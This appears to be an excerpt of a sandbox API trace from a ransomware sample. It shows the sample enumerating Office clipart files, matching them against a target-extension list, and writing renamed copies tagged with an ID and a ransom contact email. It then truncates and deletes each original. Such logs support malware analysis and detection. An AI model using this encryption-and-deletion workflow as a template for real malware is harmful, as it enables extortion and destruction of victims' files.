	[0191.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.062] lstrlenW (lpString=".doc") returned 4
	[0191.062] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.062] lstrlenW (lpString=".docx") returned 5
	[0191.062] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0191.062] lstrlenW (lpString=".pdf") returned 4
	[0191.062] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.062] lstrlenW (lpString=".xls") returned 4
	[0191.063] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.063] lstrlenW (lpString=".xlsx") returned 5
	[0191.063] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0191.063] lstrlenW (lpString=".ppt") returned 4
	[0191.063] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.063] lstrlenW (lpString=".zip") returned 4
	[0191.063] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.063] lstrlenW (lpString=".rar") returned 4
	[0191.063] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.063] lstrlenW (lpString=".bz2") returned 4
	[0191.063] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.063] lstrlenW (lpString=".7z") returned 3
	[0191.063] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.063] lstrlenW (lpString=".dbf") returned 4
	[0191.063] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.063] lstrlenW (lpString=".1cd") returned 4
	[0191.063] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.063] lstrlenW (lpString=".jpg") returned 4
	[0191.063] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.063] lstrlenW (lpString=".doc") returned 4
	[0191.063] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.063] lstrlenW (lpString=".docx") returned 5
	[0191.063] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0191.063] lstrlenW (lpString=".pdf") returned 4
	[0191.063] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.063] lstrlenW (lpString=".xls") returned 4
	[0191.063] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.063] lstrlenW (lpString=".xlsx") returned 5
	[0191.064] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0191.064] lstrlenW (lpString=".ppt") returned 4
	[0191.064] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.064] lstrlenW (lpString=".zip") returned 4
	[0191.064] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.064] lstrlenW (lpString=".rar") returned 4
	[0191.064] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.064] lstrlenW (lpString=".bz2") returned 4
	[0191.064] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.064] lstrlenW (lpString=".7z") returned 3
	[0191.064] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.064] lstrlenW (lpString=".dbf") returned 4
	[0191.064] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.064] lstrlenW (lpString=".1cd") returned 4
	[0191.064] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0191.064] lstrlenW (lpString=".jpg") returned 4
	[0191.064] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.064] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0191.064] lstrlenW (lpString="J0099169.WMF") returned 12
	[0191.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.065] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=10192) returned 1
	[0191.065] CloseHandle (hObject=0x374) returned 1
	[0191.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220
	[0191.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.065] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.065] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.066] GetLastError () returned 0x0
	[0191.066] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x27d0, lpOverlapped=0x0) returned 1
	[0191.066] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x27e0, lpOverlapped=0x0) returned 1
	[0191.068] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.068] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.068] SetEndOfFile (hFile=0x378) returned 1
	[0191.068] CloseHandle (hObject=0x378) returned 1
	[0191.068] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.068] SetEndOfFile (hFile=0x374) returned 1
	[0191.069] CloseHandle (hObject=0x374) returned 1
	[0191.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1
	[0191.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.070] lstrlenW (lpString=".doc") returned 4
	[0191.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.070] lstrlenW (lpString=".docx") returned 5
	[0191.070] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0191.070] lstrlenW (lpString=".pdf") returned 4
	[0191.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.070] lstrlenW (lpString=".xls") returned 4
	[0191.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.070] lstrlenW (lpString=".xlsx") returned 5
	[0191.070] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0191.070] lstrlenW (lpString=".ppt") returned 4
	[0191.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.070] lstrlenW (lpString=".zip") returned 4
	[0191.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.070] lstrlenW (lpString=".rar") returned 4
	[0191.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.070] lstrlenW (lpString=".bz2") returned 4
	[0191.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.070] lstrlenW (lpString=".7z") returned 3
	[0191.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.071] lstrlenW (lpString=".dbf") returned 4
	[0191.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.071] lstrlenW (lpString=".1cd") returned 4
	[0191.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.071] lstrlenW (lpString=".jpg") returned 4
	[0191.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.071] lstrlenW (lpString=".doc") returned 4
	[0191.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString=".docx") returned 5
	[0191.071] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0191.071] lstrlenW (lpString=".pdf") returned 4
	[0191.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString=".xls") returned 4
	[0191.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.071] lstrlenW (lpString=".xlsx") returned 5
	[0191.071] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0191.071] lstrlenW (lpString=".ppt") returned 4
	[0191.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.071] lstrlenW (lpString=".zip") returned 4
	[0191.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.071] lstrlenW (lpString=".rar") returned 4
	[0191.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString=".bz2") returned 4
	[0191.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.071] lstrlenW (lpString=".7z") returned 3
	[0191.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.072] lstrlenW (lpString=".dbf") returned 4
	[0191.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.072] lstrlenW (lpString=".1cd") returned 4
	[0191.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0191.072] lstrlenW (lpString=".jpg") returned 4
	[0191.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.072] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0191.072] lstrlenW (lpString="J0099170.WMF") returned 12
	[0191.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.072] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=24292) returned 1
	[0191.072] CloseHandle (hObject=0x374) returned 1
	[0191.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220
	[0191.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.073] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.073] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.073] GetLastError () returned 0x0
	[0191.073] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x5ee4, lpOverlapped=0x0) returned 1
	[0191.255] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0191.257] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.257] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.257] SetEndOfFile (hFile=0x378) returned 1
	[0191.593] CloseHandle (hObject=0x378) returned 1
	[0191.780] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.780] SetEndOfFile (hFile=0x374) returned 1
	[0193.081] CloseHandle (hObject=0x374) returned 1
	[0193.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0193.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.271] lstrlenW (lpString=".doc") returned 4
	[0193.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.271] lstrlenW (lpString=".docx") returned 5
	[0193.271] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.271] lstrlenW (lpString=".pdf") returned 4
	[0193.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.271] lstrlenW (lpString=".xls") returned 4
	[0193.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.271] lstrlenW (lpString=".xlsx") returned 5
	[0193.271] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.271] lstrlenW (lpString=".ppt") returned 4
	[0193.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.272] lstrlenW (lpString=".zip") returned 4
	[0193.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.272] lstrlenW (lpString=".rar") returned 4
	[0193.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString=".bz2") returned 4
	[0193.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString=".7z") returned 3
	[0193.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.272] lstrlenW (lpString=".dbf") returned 4
	[0193.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.272] lstrlenW (lpString=".1cd") returned 4
	[0193.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.272] lstrlenW (lpString=".jpg") returned 4
	[0193.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.272] lstrlenW (lpString=".doc") returned 4
	[0193.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString=".docx") returned 5
	[0193.272] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.272] lstrlenW (lpString=".pdf") returned 4
	[0193.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString=".xls") returned 4
	[0193.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.272] lstrlenW (lpString=".xlsx") returned 5
	[0193.272] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.272] lstrlenW (lpString=".ppt") returned 4
	[0193.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.272] lstrlenW (lpString=".zip") returned 4
	[0193.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.272] lstrlenW (lpString=".rar") returned 4
	[0193.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.272] lstrlenW (lpString=".bz2") returned 4
	[0193.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.273] lstrlenW (lpString=".7z") returned 3
	[0193.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.273] lstrlenW (lpString=".dbf") returned 4
	[0193.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.273] lstrlenW (lpString=".1cd") returned 4
	[0193.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0193.273] lstrlenW (lpString=".jpg") returned 4
	[0193.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.273] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.273] lstrlenW (lpString="J0099177.WMF") returned 12
	[0193.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.273] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=5386) returned 1
	[0193.273] CloseHandle (hObject=0x374) returned 1
	[0193.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220
	[0193.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.274] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.274] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.274] GetLastError () returned 0x0
	[0193.275] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x150a, lpOverlapped=0x0) returned 1
	[0193.278] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x1510, lpOverlapped=0x0) returned 1
	[0193.279] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.279] WriteFile (in: hFile=0x344, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.279] SetEndOfFile (hFile=0x344) returned 1
	[0193.279] CloseHandle (hObject=0x344) returned 1
	[0193.279] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.279] SetEndOfFile (hFile=0x374) returned 1
	[0193.280] CloseHandle (hObject=0x374) returned 1
	[0193.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
